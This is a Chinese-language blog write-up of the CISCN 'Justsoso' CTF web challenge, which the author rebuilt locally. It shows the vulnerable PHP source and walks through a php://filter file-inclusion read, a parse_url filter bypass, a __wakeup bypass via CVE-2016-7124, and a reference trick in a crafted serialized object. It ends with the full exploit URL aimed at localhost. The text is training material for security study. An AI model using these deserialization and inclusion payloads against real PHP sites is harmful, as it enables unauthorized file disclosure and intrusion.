r0ckyzzz's Blog.

CISCN Web1 Justsoso

Word count: 921Reading time: 4 min
2020/02/22 Share

CISCN Web1 Justsoso


自己搭了环境来复现这道题

开始

upload successful
查看源码发现
upload successful
这里有个文件包含漏洞 可以用php://filter/read=convert.base64-encode/resource=来读取源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php  
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}

class Flag{
public $file;
public $token;
public $token_flag;

function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}

public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
?>

hint.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'
';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@(ctfwriteup)include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

index.php的源码

不能用这个方法读取flag.php 因为有preg_match过滤了flag字符串 没办法绕过

看到hint.php 想到了反序列化
echo @highlight_file($this->file,true);将flag.php传入file可以读取源码 但是index.php里又对payload传入的值做了限制

1
2
3
4
5
6
7
if(isset($payload)){  
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();

不能传入flag的字样
无从下手
看到parse_str()函数想起在ssrf里面出现过并且有技巧可以绕过
https://skysec.top/2017/12/15/parse-url函数小记/

从师傅这里看到只要在url后面加上//即可以绕过

upload successful
绕过了

接下来就到了反序列化的部分

1
2
3
4
    public function __destruct(){
$this->handle->getFlag();
}
}

最终要触发getFlag函数

可是前面有个__wakeup方法

unserialize()时会先检查是否存在一个-wakeup方法。如果存在,会先调用__wakeup方法,预先准备对象需要的资源。

1
2
3
4
5
6
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}

这里的wakeup方法会把我们传入的参数全都置空
这里要运用到一个漏洞
https://www.cnblogs.com/Mrsm1th/p/6835592.html

当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}

public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}

现在就剩下这个判断条件了
new Flag()的时候会给token_flag和token赋值随机数1-10000的md5
执行getFlag函数时重新对token_flag赋值如果token_flag依然等于token则条件判断通过

这里需要用到一个php的技巧 引用赋值

upload successful
当b引用的值 当a的值改变时b也会跟着改变

最后得到payload
http://127.0.0.1:8088///?file=hint.php&payload=O:6:%22Handle%22:2:{s:14:%22%00Handle%00handle%22;O:4:%22Flag%22:3:{s:4:%22file%22;s:8:%22flag.php%22;s:5:%22token%22;s:32:%2253c3bce66e43be4f209556518c2fcb54%22;s:10:%22token_flag%22;R:4;}}

upload successful

这里要注意
s:14:”Handlehandle” 为什么长度是12,前面的值却是14
这是因为

当成员属性为private时,在序列化后,Handle字串前后会各有一个0x00,因此长度为14.类似的protect属性,则是在*前后各有一个0x00。

CATALOG
  1. 1. CISCN Web1 Justsoso
    1. 1.1. ¶开始